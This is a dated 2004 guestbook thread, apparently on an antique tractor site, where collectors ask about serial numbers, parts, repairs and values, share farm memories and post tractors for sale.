Yonder wrote on Monday, October 11, 2004 (PDT):Herb; If your number is 8N195717 it is a 1949. I have a 1952 8N505193, one of the latest ones built. My front main bering is damaged--it didn't get enough oil for some reason. I wonder if I should take out the crank shaft and have it turned? I would also like to know why this one bering was not getting oil while everything else is just fine. If anyone can give me advice I would love it. Also I have an old Whites Avenger hydromatic garden tractor that I cannot find any information about it. Would like any information that I can get--please reply anyone--Thank you.
Gayle Cyrulik Sr. wrote on Monday, October 11, 2004 (PDT):I own two John Deeres, model "B". The 1941 is a handstart and the 1951 is a electric start. Both tractors are in excellent condition. I show my tractors at tractor shows, as I belong to Abe Lincoln antique tractor club here in central Ill.
Darrell Sinclair wrote on Sunday, October 10, 2004 (PDT):I have a leader tractor for parts it has no seat or steering box, engine is seized but everything else seems to be good.
John o. wrote on Sunday, October 10, 2004 (PDT):I have a WD-45 that was my uncles looking for a brush chopper w/snap coup.
Herb wrote on Saturday, October 09, 2004 (PDT):Just scraped down to a number--NI957I7. (Could be 8N195717. The number was engraved by hand.) Is this a 1949 tractor? It's for sale!
Herb wrote on Saturday, October 09, 2004 (PDT):OK.Finally scraped down to a number today on an AC WC. It's W1796030. Anyone know the date of this tractor? It's for sale!
José Ignacio ALBUJA wrote on Saturday, October 09, 2004 (PDT):If some of you know can find the injection pump for my Oliver Super 55 Diesel, delivered in 1.955 or 1.956 part number HD 3663 AR please write me. ( new or used ) I can pay from Miami and receive the part in the address will supply. Write me to; jose4694 at yahoo.com Will thank you for keep in touch with me. Jose Ignacio ALBUJA, Quito - ECUADOR
J. M. C. wrote on Saturday, October 09, 2004 (PDT):I've just aquired an unrestored but nicely running 1946 John Deere L A. It has a hydraulic blade on the front-end and I'm wondering if these were an option from Deere or was it some other kind of add-on? It steers very hard. This may be from the weight of the blade or is this tractor sust hard to steer? thanks
Barney Chapman wrote on Saturday, October 09, 2004 (PDT):We purchased a Ranch in Bosque County Texas in 1948. There was a MM Tractor, tricycle gear, 30 drawbar horsepower, no electrical. We used this tractor for years to farm 800 acres of oats and some wheat and corn. Can anyone tell me what model it was? We later aquired, about 1052 a 50 drawbar MM, tricycle front, with ligths, starter and ect. Although, we never stopped using the old tractor until we sold the Ranch in about1963. WHAT WERE THE TWO TRACTOR MODELS.
806 with 466 in her wrote on Friday, October 08, 2004 (PDT):my 806 has a 466 in her. the old moter was a gas but it was blowen up when i bought her. it has a pulling ta and pulling clutch in her. she is an early 806 with round fenders. it looks prity cool with the big tires on her. i still do some farm work with her. my naber has a 4320 and thought he had something till i pulled him acrass the yard. i first started pulling back in 1995 on a 1466 pedal tractor my uncal had set up for pulling. but that 806 is more fun. most pulling tractors have names my 806 name is feed lot speshelt. i pull her in 8500,9500,10,500, and 11,500. she will put out 320 hp. live red and stay red amen.
Phillip Lux wrote on Friday, October 08, 2004 (PDT):I just purchased a 1941 VC Case in sad shape. Everything is free but stiff. It is not running yet. It will be a fun project. My problem is color scheme. My dad's VC case was all yellow. As the picture was taken in about 1954 I do not think the tractor had been repainted. The tractor I have seems to have red frame but yellow sheetmetal and fenders. John P Martine; If you still check this forum I have a picture of Dad's old case with oil filter on the side just above the pulley.
Mathias wrote on Wednesday, October 06, 2004 (PDT):You probably had the multi power in low. You need to have it in high when going down steep hills, tractors also come equipted with brakes to slow down when on hills. It was NOT THE MASSEY'S FAULT THAT YOU DID NOT UNDERSTAND HOW TO OPERATE THE TRACTOR!!! (A Jhon Deere wouldn't even moved what ever you were pulling!)
Mathias wrote on Wednesday, October 06, 2004 (PDT):You probably had the multi power in low. You need to have it in high when going down steep hills, tractors also come equipted with brakes to slow down when on hills. It was NOT THE MASSEY'S FAULT THAT YOU DID NOT UNDERSTAND HOW TO OPERATE THE TRACTOR!!! (A Jhon Deere wouldn't even moved what ever you were pulling!)
Johnny IH wrote on Tuesday, October 05, 2004 (PDT):The 1066 is a real stinger! Regular coolant acidity checks help eliminate the O ring problem......you'd think a good mechanic (Your friend?) would pass this info along....it's called preventative maintenance....guess you got to do what you can to make work or go work for John Deere. Got a friend who quit pulling his 4440; afraid the transmission might go again, can't afford the big dollars to repair.
Dean Peterson wrote on Tuesday, October 05, 2004 (PDT):I was wondering if any knows where I might find instructions for mounting a one bottom mounted mowboard plow on an International Harvester Super A tractor?
John wrote on Tuesday, October 05, 2004 (PDT):Need a perkins engine for a 170....or where can I look for a duplicate?
Hallie Slemmer wrote on Tuesday, October 05, 2004 (PDT):I havei 1950 case sc we are not repainting it looks better no repainted. i think if you have an anqiute tractor you should keep that color>
chris wrote on Sunday, October 03, 2004 (PDT):i am helping my neice clear her fathers land of 30 years collection of mostly junk. out in the brush is an old but complete i-h crawler. tag notes-model d-9 serialis td6b42774. the blade has to be about 10 ft.wide. on the rear is good size "carco" winch. has not run in about 5-6 years. the motor is 4 cyl.&starts on gas,runs on diesel. wonder if this machine has any value? am afraid the scrap dealers might charge just to get rid of it. any answers would be welcome.
pulling with a reliable 1486 wrote on Sunday, October 03, 2004 (PDT):i pull a 1486. it has the orginal motor in it. i put a pulling ta in her and pulling clutch. she will puller right out the end. there is a hot running 4255 and 4455 that pulls with in my class. but i still plase 1st 2nd or 3rd. i still farm with her. if i wiend her up with two 365 demcos on pavement she'll leave a good blacky.
harvey wrote on Friday, October 01, 2004 (PDT):i bought a d17 in high school for a $100 for a voag shop project and now i would like to find a loader and equip for it i just bought 5ac . looking for plow and any other equip for quick hitch
Jim DeHaven wrote on Friday, October 01, 2004 (PDT):I was originally an Allis Chalmers fan. However, since there are hundreds of Allis Chalmers collectors out here in the Northwest I decided to switch allegiance to Massey Harris and bought a 55GS Serial # 2132. According to some info I've seen, this may be the first production tractor for the 1948 Model Year. If anyone has any info. or contacts out here in Idaho please contact me. Thanks!
Jerry Carter wrote on Friday, October 01, 2004 (PDT):I was fortunate to have relatives who farmed in Kentucky. I spent many a summer day from age 10 to age 17 working on the farms. Relatives on both sides of the family had Allis Chalmers tractors. The three models most used were the G, the WD45 and the D17. They all were put to use on the farm. The G had an underbelly mower attachment and had cultivator attachment. It was used to cultivate tobacco. The WD 45's and the D17 were used for the other farm work. I have fond memories of family and these tractors. In fact when I think of family, orange tractors come to mind as well.
Bob Parks wrote on Monday, September 27, 2004 (PDT):I would like to purchase a cockshutt 20 or 30. I would like for the tractor to be in pretty good condition. Also preferably a wide front. Thanks Bob Parks Booneville, AR (479) 675-6115
richard j. wilson wrote on Monday, September 27, 2004 (PDT):In regards to the mid 1930's T20 my father had, it was traded to Lloyd Harkins (a collector of about anything) of Siver Star, Montana. He is an elderly gentleman now and may still have it. If interested, contact me and I will forward address and phone of Mr. Harkins
mike fuller wrote on Monday, September 27, 2004 (PDT):hey that's a nice tractor you got there! Sweet! what a gem
Jim Broughton wrote on Sunday, September 26, 2004 (PDT): To Clinton...the serial number plate is on the cast steering unit on RH side of the tractor, next to the steering rod from steering wheel. Get the number and post, we can tell you what year it was made. To Jame Hunter.... Your Cub is a 1949 model, late in the year, almost 1950 ! LOL Guys, Jim
Jim--Illinois wrote on Saturday, September 25, 2004 (PDT):I need an exhaust manifold for a 1932 Massey-Harris GP with a Hercules OOC flathead. Also can someone e-mail me a picture of both ends of the intake pipe on the tractor. I have the pipe, but it is missing something to hook it to the carb and the air cleaner box. Thanks for any help.
Jody Leasure wrote on Saturday, September 25, 2004 (PDT):My grandfather used to sell Sheppard tractors back in the 50,s.The first Sheppard my dad and uncles farmed with was an SD-3.It worked great,but once tore out some gears.When the SD-4 came out,they bought one of them,and it worked much better.They later bought another SD-4 with power steering.My Dad also had an SD-4 with power steering,but had alot of problems with it.He quit using it around 1970.My uncle used his SD-4s 'til he quit farming in 1973.Dad bought one of them at the sale and used it for a years then parked it.Dad had five sheppards all togather;two SD-4S,two SD-2s,and an SD-4 for spare parts.He sold most of them off now,but kept the one SD-2 and gave it to me. I plan to restore it one day. It only needs painted,it really runs good.It's really great to have something that rare.
dave gause wrote on Friday, September 24, 2004 (PDT):Have a 1945 Cletrac hg 42. I wonder about the horsepower of the Hercules engine and what is the weight of the machine? Any help would be appreciated
Karen Price wrote on Friday, September 24, 2004 (PDT):On the Pacer #16, does anyone know how many of these tractors were produced? at years of production is a short time, and I would like more history. Thanks.
Dave Arnn wrote on Thursday, September 23, 2004 (PDT):I recently purchased a 1951 8N and the gas tank needs replacing(rusted and leaking). Any suggestions on how to do this and what is the best option. New tank or fix old.
jared schmelzenbach wrote on Thursday, September 23, 2004 (PDT):can anyone give me the value for a MH GP? it isnt in running condition but everything in decent shape on it.
yangjing wrote on Wednesday, September 22, 2004 (PDT):Dear Mrs, We are Zhongda Casting Co., Ltd of China. is privately operated, The main products of our company include; components automobile, machine parts ,tractor parts, such as brake pot, brake plate,brace, the inlet and escape pipe, gear box body, shell body, counter weight, machine cover, belt pulley etc. The material is gray iron and ductile iron. them were sold well in several countries or areas such as Germany, Italy, USA, and Australia. In home we also cooperate with JOHN Deere-Tiantuo. There are 680 staff and workers including 108 technical personals, We have molding line, molding machines, core-shooting machines, electric furnaces, cupolas, resin sand casting , shoot-sand casting, shoot-cleaning equipments,3 machine workshops, great variety of marching and finishing equipments have more than 300, 5 NC lathes, 5 CNC lathes, boring machines ,one physical laboratory and one chemical laboratory for analysis, may make spectral analysis and computer physical test. So we have a strong instrumental and technical support for physical and chemical test. We produce and machining ductile iron casting, gray iron casting. Our annual output is more than 18,000 tons. we got the ISO9001;2000 Quality System Authentication in 2001. You may learn more from our WEB; www.zdzz.com.cn I hope we could establish long-term cooperation with you. I am appreciates if you reply us. Best Regards, Yangjing Zhongda Casting Co., Ltd Tel;86-312-6481333 Fax;86-312-6480999 Email;zqls at heinfo.net
yangjing wrote on Wednesday, September 22, 2004 (PDT):Dear Mrs, We are Zhongda Casting Co., Ltd of China. is privately operated, The main products of our company include; components automobile, machine parts ,tractor parts, such as brake pot, brake plate,brace, the inlet and escape pipe, gear box body, shell body, counter weight, machine cover, belt pulley etc. The material is gray iron and ductile iron. them were sold well in several countries or areas such as Germany, Italy, USA, and Australia. In home we also cooperate with JOHN Deere-Tiantuo. There are 680 staff and workers including 108 technical personals, We have molding line, molding machines, core-shooting machines, electric furnaces, cupolas, resin sand casting , shoot-sand casting, shoot-cleaning equipments,3 machine workshops, great variety of marching and finishing equipments have more than 300, 5 NC lathes, 5 CNC lathes, boring machines ,one physical laboratory and one chemical laboratory for analysis, may make spectral analysis and computer physical test. So we have a strong instrumental and technical support for physical and chemical test. We produce and machining ductile iron casting, gray iron casting. Our annual output is more than 18,000 tons. we got the ISO9001;2000 Quality System Authentication in 2001. You may learn more from our WEB; www.zdzz.com.cn I hope we could establish long-term cooperation with you. I am appreciates if you reply us. Best Regards, Yangjing Zhongda Casting Co., Ltd Tel;86-312-6481333 Fax;86-312-6480999 Email;zqls at heinfo.net
Barry von Thun wrote on Wednesday, September 22, 2004 (PDT):I have a 1950 super c that i had carb. rebuilt I cannot get it quit black smoking . Any help please.
George wrote on Wednesday, September 22, 2004 (PDT):Have an H with 350 engine kit, 3 pt, power steering. Use it to cultivate tobacco, rake hay, pull hay wagons, etc. Got so much money in it, couldn't afford to sell it. Good tractor.
Randy Teakell wrote on Wednesday, September 22, 2004 (PDT):I have recently went to get my grandfathers' model h. It was the first tractor i ever rode or drove. It is rusty and needs all new rubber - but has good compression on one cylinder. How much is it worth restored? I would never sell it - but my wife is afreaid I am wasting my time... Told her it was not about $ - just about those summers I spent on my grandpas farm.
Edward Mackie wrote on Wednesday, September 22, 2004 (PDT):Hi I recieved I believe to be a ford dexta. It is a 4 cyl. gas and had a loader oon the front. It has been sitting in a field for 10yrs or so. when we went to move it its rear tires were siezed. we managed to unsieze one by towing it but the other one wont let go. Any help would be great and if any one can tell me about the brakes or anything about this tractor PLEASE help. THanks Edward
Ben Johnson wrote on Wednesday, September 22, 2004 (PDT):John Deere is the best tractor you can get
Ben Johnson wrote on Wednesday, September 22, 2004 (PDT):I like Case tractor
Ben Johnson wrote on Wednesday, September 22, 2004 (PDT):John Deere is the best tractor you can get
Dwight Curb wrote on Wednesday, September 22, 2004 (PDT):I am a Oliver Super55 lover. Had one for over twenty years back in Abilene Tx. Sold our place there and now live in Pittsburg Tx which to my thinking in some of the finest soil for raising fruit and vegtables. The Super 55 I had was a 57 model so if anyone out there has one for sale tell me about.
Dave Ball wrote on Wednesday, September 22, 2004 (PDT):Looking for a running Case Di 1942-1945 vintage would like a complete tractor needs not to be restored just good running condition. West coast area Thanks Dave
Glenn Rowland wrote on Tuesday, September 21, 2004 (PDT):I have a pacer forsale everything works good call 912-375-7371
Kyle Criswell wrote on Tuesday, September 21, 2004 (PDT):This Model B is a beautiful tractor. My father used to have a 720 but had to get rid of it. Myself I have a Mini Moline R. I would love to own an older John Deere tractor.
Linda Ney wrote on Monday, September 20, 2004 (PDT):I have an old D-21 tractor that I would love to sell. It still runs, and we still use it. But I don't plan to do my own plowing in the future. Can anyone tell me how much it's worth?
Walter Allen wrote on Monday, September 20, 2004 (PDT):I am new to the classic tractor scene, but having spent more days than I can count on John Deere's as a kid, I am now old enough to want to find an old one that has been rebuilt or maybe to rebuild. I would like to have an "R" model. I am doing some research on them now and will be more familiar in a short while, but if you know of a nice one for sale I would like to have the information. Thanks Walter Allen Vienna, WV PH-304-295-3333 Email - Driller at wirefire.com
Debbie D wrote on Sunday, September 19, 2004 (PDT):Greetings; I own an Alice Chalmer G Tractor. It has a mower and snow plow. It is in very good shape and runs. Do you have any idea what the value would be?
Scott Shotts wrote on Sunday, September 19, 2004 (PDT):My late uncle cut timber several years ago. I was a young teenager at the time. He used a WD45 AC with a loader. I remmember the tractor to be a work horse. It would pull logs out of the woods that I would of never thought it would. My father purchased the tractor after his passing. He used it for many tasks. He had it for several years. He no longer needed it,so he sold it. I had many memories of that tractor. It was a wide front in. It had a add on power steering kit. I will always look back on days on that tractor.
shaun esbenshade wrote on Sunday, September 19, 2004 (PDT):Hello, i need to know what fluids go into the timeing gears on my allis chalmers wc. i also need to know what fluids would go into the "pumpin" in the back. would it be gear fluid? please get back to me it would be appreciated.
frank laibe wrote on Sunday, September 19, 2004 (PDT):a neighbor has 1954 lo-boy completely rebuilt. this includes a different carb. has belly mower. tractor runs good for a while then it starts to miss and stall. ohter times just trying to start off with mower engaged will stall. governor doesn't seem to kick in when power is called for. can anyone help us with this problem? would even accept phone call at 800-727-6441. just tell whoever answers you want to talk to frank. thanks
Bob Rautio , Canterbury, CT. wrote on Saturday, September 18, 2004 (PDT):My very first tractor that I bought was a 1940 L w a one bottom plow, sawrig, and an old mower off a 1939 unstyled L. great little workhorse around the farm, too bad that Deere&Co. don't make them anymore, I'd have a fleet of them on the farm because of their size and power for in the Coops and Barns.
Bob Rautio, Canterbury,CT. wrote on Saturday, September 18, 2004 (PDT):Had A JD60 with The narrow front end and 45 manure loader, best hard working tractor I ever owned. Did have one problem with it, could not get the heat valve on the manifold to work so it ran on the cold setting all yr long. still it was the best tractor that i had on the farm.
joe d. wrote on Saturday, September 18, 2004 (PDT):Over the years we farmed,we had 3 farmall''M''tractors.They were the best.You could always rely on them to start in any wheather and perform many jobs.One time we hooked two M's together to pull a manure spreader through four feet of drifted snow.Man,I miss those days.If I still farmed,I would'nt be without an 'M'or two around.They just don't quit.
peg wrote on Saturday, September 18, 2004 (PDT):i have two 350 utility tractors. i have a leak in transmission i need to add oil but don't know the kind of oil or how much to put in. no top port or mark. should i fill it or half way? it,s just under half now. can someone halp? thanks
J.L.Leasure wrote on Friday, September 17, 2004 (PDT):My Dad used a J.D.60 for many years with a 227 mounted corn picker.It always ran great.When he quit using it,it sat for nearly fifteen years in the shed neglected until a few months ago when I decided to get it running again.It only took a little tinkering with it to get it to fire right up.It sounded as good as it did years ago.I got it out,removed the picker and took it to show recently.It may not look pretty,but that old two cylinder sure has sweet sound.I REALLY love that tractor.Oh,by the way,it is a 1952 model.
Derek Wieman wrote on Friday, September 17, 2004 (PDT):I do not know if anyone has ever seen or heard of a 1917 Russell 30-60 Giant Tractor? The reason I ask is I work with Wieman Land and Auction Co. out of Marion, South Dakota. We have this tractor coming up on a sale on September 22, 2004. I have been told that there are only 6 or 7 of these left in the world. If you know anything about this tractor please email me! If you want to see pictures take a look on our website at www.wiemanland.com/waltner.htm Thanks!
Ronald Clement wrote on Thursday, September 16, 2004 (PDT): I had a John Deere GP in the 1940's, It was tricycle shaped meaning the front wheels went in the center furrow and the back wheels were in two out side furrows so you could cultivate two rows. We had a two row cultivator to mount to the tractor. The back wheels were chain driven inside a casting so that the tractor had plenty of height for the row crops. corn, cotton etc. On the hood it had painted General Purpose and as I remember it was also cast in the radiator along with the John Deere. The tractor pictured at the front of this artical looks like a model "D". How ever I am not implying that it is as I dont realy know but I thought that they called them "GP" as they could be used for plowing, cutivating and other farm jobs. Some Time in the 50's our GP was sold to a man who took it to Mexico. I wish I had it now sitting on my front lawn. The land I farmed is now a school./
Paul Jenkins wrote on Thursday, September 16, 2004 (PDT):I have a AC D12 serial number 2859. It's seems to be rare. What's it's value? It's a good working tractor.
Clinton L Hammons wrote on Wednesday, September 15, 2004 (PDT):Question. How do I find the age of an old Farmall Cub tractor.
jeremy halstead wrote on Tuesday, September 14, 2004 (PDT):th 1066 was a all around good tractor. it wouldpull any john deer out of the mud and plus when u turned it up it would go up along ways and u would see proformance at its best!!!! IHC FOREVER
Charles wrote on Tuesday, September 14, 2004 (PDT):I have TO-20 possibly model 5360. I need the back housing that goes around the PTO and the PTO rod that goes into the back end of the tractor. If someone has one please notify me by email or give me a call at 870-536-4258. Thanks.
Adam Mergener wrote on Tuesday, September 14, 2004 (PDT):My name is Adam with the City of Midlothian. I have a 1924 Russell road grader that was left in the back forty of my Public Works facility and i understand it was the first road grader for this town. I proudly set it up on a concrete pad in front of my Service Center office. I was wondering should I try to get it restored and if I do, where would I get the materials? Or would it be worth my time. It really looks like its been through some hard working times. I couldnt imagine not having hydraulics or even cab and air considering Texas weather and the hard white rock. Please holler back if you have any comments.
tractor pulling kid wrote on Tuesday, September 14, 2004 (PDT):to keven jewell, dont get an H, they just arent competable anymore even with all the mods, get an M and lighten it up and get in 4000 pound range, and build up the engine there.. as far as shipping weight in guessing for an H 3800 pounds..
Josh wrote on Monday, September 13, 2004 (PDT):i'm sure the 1066 is a good tractor, but how can you beat the 856? we have one w/ 8200 hrs and one w/ 7900 hrs and each one is just the same as it came off of the showroom floor. we also have a 966 and a 1466 and either one of the 8's will run circles around the 9.
Edward M Daly wrote on Monday, September 13, 2004 (PDT):Ihava a 1960 Supa dexta. need workshop manual for repairs would appreciate contact. Sn. Ireland.
steve wrote on Sunday, September 12, 2004 (PDT):I have a D Fordson major tractor and one with loader and backhoe. Trying to find out as much as I can on them and could use any help or direction form anyone.
J wrote on Sunday, September 12, 2004 (PDT):I'm 15 years old and just last year my grandfather, who happened to be the only one who knew anything about fixing stuff on the farm, passed away. I have been digging through the sheds cleaning and i have located what i believe to be this tractor. It is in a pretty bad shape but totally fixable. Could anyone send me advice to help fix this tractor up? I want it to look like the original.
delbert ryan wrote on Sunday, September 12, 2004 (PDT): i recently bought a allis chalmers wd 45.by doing web searches i,ve found just about every part for the tractor..but,where do i find a shifting lever for the transmission??plus the little pin that helps hold it in?? mine is worn and i should get a new one.i plan on restoring it to like new...thanks
Joe Fuchs wrote on Saturday, September 11, 2004 (PDT):I am looking for a good running WD-45,gas or diesel,doesnt have to be pretty just good running.If anyone can help me out please e-mail me.Thanks,
Mark Chapman wrote on Saturday, September 11, 2004 (PDT):Does anyone know how much a SC Case Tractor weighs, so I know if my trailer will hold it or not, thanks. Mark
Jimmy Fann wrote on Saturday, September 11, 2004 (PDT):I have 3 VAC'S, one running and two for parts, i bought a DC and just completly lost interest. I have lots of extra parts and a wide front end. Could easily have three running tractors. If interested call me at 865-982-6812 8-5 est, or 865-982-3991 6-10;00 est. thanks jimmy
JAY WULFF wrote on Friday, September 10, 2004 (PDT):First, I think the pic. is an orchard tractor. Second the correct color for the va series of tractors is Flambeu red.and they were all 6 volt systems.
Dave Doman wrote on Thursday, September 09, 2004 (PDT):Hi I have an OC3 with a blown engine. I have a 1XB3 in boxes and would like to know the crank diameter so I can order bearings when mine comes back from machining. Thanks DD
JIM LITTLE wrote on Thursday, September 09, 2004 (PDT):My favorite story about the Deere model R was at an antique tractor pull. The top weight class had a restored R and an Oliver model GM 99 (all of which came with a GM supercharger).The R was pulling the sled and started to bog down and some were saying it was done. How wrong they were. It settled down into a lug and could not be stopped. Full pull. The whining Oliver came in second.
Dan Wiebe wrote on Thursday, September 09, 2004 (PDT):Just restored my father's 1950 Series 2 Field Marshall. Run it a few times each summer. Had it in the local parade in July. In Three Hills, Alberta, Canada. This tractor worked 640 acres in the Peace River Country of Alberta, Canada.
scott williams wrote on Wednesday, September 08, 2004 (PDT):i have owend my 2010 for the last 6 years and have never had any trouble with it it's been very good tractor always starts the only problem it's had was the pto when i bought it and they are very easy to work on would like to upgrade to a bigger tractor but hate to sell the 2010 but i dont need two tractors.Two thumbs up for the 2010
Bob Hamilton wrote on Wednesday, September 08, 2004 (PDT):I live near the Pacific Ocean in the State of Washington, and I'm interested in buying an A.C. WD45, preferably restored, or at least in pretty good condition. If you know of any, please contact me. I'd prefer to locate one within the Pacific Northwest, but I am willing to travel a reasonable distance. Thanks!
arlin frank wrote on Wednesday, September 08, 2004 (PDT):I just purchased wd-45. It is in good shape. Where do I find the serial number? What years were the wd 45 made? did they all have power steering? thanks
Terry McHugh wrote on Tuesday, September 07, 2004 (PDT):I own a 1949 Massey Harris Pony. I have cleaned it up and restored and it looks really nice. I parked it the other day in the barn. It drove perfectly. Apparently the wire for the retaining pin holding the gear shift lever came out. I found the pin on the floor. I could not get the shifting lever back into the shifting mechanism. I took the shifting mechanism off the housing. There is nothing worn or broken. Could you please tell me how to put the gears back into a neutral position and then how do I put the shift lever back into the shifting mechanism. Any help you can give me on this will be greatly appreciated. Than you. Terry McHugh
Joe Simpson wrote on Monday, September 06, 2004 (PDT):I just purchest a 1927 regalar ,its not stuck .I gave $350 for it.It needs new rims or steel wheels.I restored a 1935 f20 last year .I got most of my parts at rice equipment out of Penn.If you get on the web site ytmag.com you can find info. on the years of the tractors everyone seems to be looking for.I hope I helped a few people.
rj wrote on Monday, September 06, 2004 (PDT):silver king tractor wanted to buy
kevin jewell wrote on Sunday, September 05, 2004 (PDT):hi iam looking for farmall tractor to pull can get an H but would like to know shipping weight and HP before buying thanks ....
james criscitelli wrote on Sunday, September 05, 2004 (PDT):Anyone know how to tell what year an F-12 farmall is by the serial number and also I need to know what the resell value of this tractor
Rick Fredlund wrote on Saturday, September 04, 2004 (PDT):My granddad entered a contest back in the early '60s where he had to estimate how much fuel,time, etc.. would be required to farm a certian number of acres. He figured and figured and then grandma told him to add a little more to the total. Good thing because he won. His prize was a brand new fordson super dexta with every type of implement you could think of. We still use this tractor on our farm in Saskatchewan and one day I will pass it on to my boys.
Lanny Schmidt wrote on Friday, September 03, 2004 (PDT):Does anyone know what happened to the d21 promo tractor that went to around to dealers in the mid sixties. It had a two way radio and t.v. and some chrome accesories on it?
Ron Wallace wrote on Thursday, September 02, 2004 (PDT):Own a 1946 Case model S tractor that needs rear tires. Size can be 11-26 or 13-26. Any ideas? Thanks
Beth johnson wrote on Wednesday, September 01, 2004 (PDT):I just bought what I believe is a 1950 Ferfuson TO-20, serial number 28339. I thought all Fergie's are grey, however, this tractor is primarily red, but does not appear to be repainted - the red might be the original color. Is this possible or am I all wet and the tractor was repainted?
Jason Van der Veen wrote on Tuesday, August 31, 2004 (PDT):Hello. I am looking for a Cub in the Pacific Northwest area. The ideal tractor would need a little work, but would be operational. In addition I would like to buy a belly mower. Any leads would be very helpful. Thank you.
Kelly Harris wrote on Tuesday, August 31, 2004 (PDT):Am looking for a 50-52 Ford 8N to restore and auction for my local united way. Need the tractor donated. IT IS A TAX DEDUCTIBLE DONATION and a receipt will be given from united way. Location is Arkansas but I can probably set up transport from any surrounding state. Any help would be greatly appreciated. I'm just an average 8N owner that loves restoring them but doesn't have the money to get another to restore. I have all parts paint body work tires etc lined up to be donated from local businesses just need a tractor now. Thanks for any help
Papafarmer wrote on Tuesday, August 31, 2004 (PDT):My yellow IH farmall 140 has a belly-mounted sickle bar mower. I bought it used about 30 years ago. Wonderful tractor!. Pulls a New Holland 68 Baler (with Motor) easily. Burnt up the wiring while charging the battery. (Don't know how it happened) Bought a 2-point (?) hitch years ago, still have the parts, lost the installation directions. If I had a loader for it, I'd never need another tractor.
Stumpy wrote on Tuesday, August 31, 2004 (PDT):Robert, I drove a 1937 model 42 Silver King in an old homes day parade this past Sat. We drove from his house to the parade, it will definetly go 22mph! What a nice tractor to drive. Had a great time.
Ted Simons wrote on Tuesday, August 31, 2004 (PDT):Can anyone tell me the year my "M" was manufactured. Serial # FBK 286993 X 1? Is it possible to tell where it was manufactured also by serial #?
Joe Barrett wrote on Monday, August 30, 2004 (PDT):mr sprague, you can find manuals on antiquetractorparts.com or any other old tractor parts website
Richard Pence wrote on Monday, August 30, 2004 (PDT):I have recently purchased a Massey-Harris Poney Tractor.It is a 1952 Model.
Gregg Wills wrote on Sunday, August 29, 2004 (PDT):looking for a loader for a 52 vai case.that is ready to attach.it has a pto and eagle hitch..a loader in ohio or surrounding states would be nice,,thanks gregg wills in ohio
Ralph Hanson wrote on Sunday, August 29, 2004 (PDT):I have A 1919 Titan tractor that I'm trying to restore and need some parts. I'm looking for bearings for rear wheels. I would like to hear from anyone having information about these parts. Thank You
Jack Frost wrote on Sunday, August 29, 2004 (PDT):We own A 1066 turbo with A diamond cab And that tractor has gone 7,765 hours with out any repairs all we've put in it is oil And Fuel. We also Own A 5488 which we use to plow our 200 acres of corn. the 1066 used to plow until 3 years ago when we bought the 5488
Bill Hollis wrote on Saturday, August 28, 2004 (PDT):Hi, The 1947 cub in the picture looks great. I just restored a 1948 farmall cub. This is my 1st tractor it came with a woods 42c belly mower. But it is missing the front and back shields. Theses shields come as 1 complete wrap around part one for the front and one for the back. Maybe someone has a couple of old ones around they might like to sell. If so please e-mail me. Thanks bill
Jack West wrote on Saturday, August 28, 2004 (PDT):I have a 420w row crop utility tractor and am trying to replace the rear oil seals in the three point hitch lift arms but am unable to get the arms to slide off the rock shaft.Do I need a bigger hammer or is there a secret?
Steck wrote on Friday, August 27, 2004 (PDT):I have a 1955 300U, but the steering box is bad. Talking to the shops here in Minnesota they say it's common because of the design. Would like to convert to power stearing, but tough to find parts for either. If anyone has converted one from manual to power and still have the manual box in working condition, I'm looking. I was told by one salvage yard to find an IH715 combine and take all the hydrostatic steering components and put them on my tractor. Basically a servo control under the steering wheel (old gear box and linkages get removed)and you mount a hyd.ram on the front. Anyone done this, or seen it done.
Jennifer S. wrote on Friday, August 27, 2004 (PDT):I'm not sure who will even read this post but I came across this site while looking up some information on a 1952 Farmall Cub that I have and am looking to sell. The tractor was actually my dad's. He purchased it as what looked to me like a pile of rust but he put a lot of work and many hours into it and its beautiful now, fully restored. He used to belong to some clubs, showed it at local fairs and drove it in parades. He recently passed away and that is why we are selling it, although it kills us to sell it since he loved it so much. Anyone have any idea how much it might be worth. It has been always stored in a garage. I also have extra rims and tires for the rear of it. It has a 5ft. mower deck and dirt blade. If anyone can offer any info I'd appreciate it, just e-mail me. We really want to see it go to someone who will appreciate it and not park it somewhere outside where it will rust to crap. We would also like to see whoever buys it continue to show it with a sign that was made for it that specifies that my dad restored it (he put so much into it, it would break our hearts to see someone take credit for all his hard work). Anyway, if anyone has any thoughts please e-mail me. Thanks!
Robert Wisner wrote on Friday, August 27, 2004 (PDT):I grew up with a 1937, 1941, and 1948 Silver King. The 1942 models (made from 1942-1956)were much improved from earlier ones, especially in the brakes. They were confortable riding, easy handling, economical tractors. I have a restored 1946 and have a 1941 that I have not yet started working on. The three-wheel models typically had a top speed of about 22 miles per hour, while some 4 wheel models would go up to 30 miles per hour. Unique features on the '42 model included a patented limited-slip differential and a drawbar that anchored further forward on the tractor than most other makes. That provided extra traction. These features and the higher clearance allowed the tractor to go through mud that would stop other brands. We had one farm with large hills. Our Farmall M and John Deere A would raise the front end off the ground on a hard pull going up those hills, but I never had that happen with the Silver King, due to the draw bar attachment point. Silver Kings were made from 1934 to 1956. In their best year they made about 1,100 tractors. Most other years, they made less than a thousand. In the final two years of production,they were made by Mountain States Fabricating Company in Wheeling, West Virginia. Before that, they were made in Plymouth, Ohio by a company whose main business was making switch locomotives. Horse power of the Model '42s was about like a Farmall Super H.
Melly Durham wrote on Friday, August 27, 2004 (PDT):I was wondering if anyone has information on the Russell family. My great-great grandpa was the creator of the Russell tractor and just trying to find out more about our history. Any information welcome. Thanks!
John Sammel wrote on Friday, August 27, 2004 (PDT):I have a John Deere H that we used until about 20 yrs ago. I love that tractor so much and plan start restoring it over the nexted couple of winters. it truely needs lots of work. I do know that it will be well worth the effort
Missouri Farmer wrote on Thursday, August 26, 2004 (PDT):If you didn't know or understand how to operate the tractor or what the levers were for, you had no business on the tractor.
Ted gleaton wrote on Wednesday, August 25, 2004 (PDT):Howdy all. I'm about to buy a mid 50's cub with some attachments and parts, was driven into a garage 10 years ago and has sat ever since.Would sitting 10 years ,in itself, cause the motor to seize? I,m getting it from a little old lady for $750 minimum(her words). I'll repost If and when I get it home. I just wanna play farm on it.Thanks fer listening, Ted.
Jim wrote on Wednesday, August 25, 2004 (PDT):I have a 1959 D17 and the 2-point liftarm slides out. Does anyone know how difficult this is to repair? Thanks for any info on this.
bob g wrote on Wednesday, August 25, 2004 (PDT):i have a 1959 oliver 550 that is a decent tractor it needs some cosmetic work but runs good. i am trying to buy a different one with p/s if it sells before i get mine sold then i will not sell mine. i also have a loader for it. $4000 for tractor $1500 for loader or $5000 for all. tractor is located in springfield, illinois. email me at goldz56 at aol.com or call my cell 217 638 7547
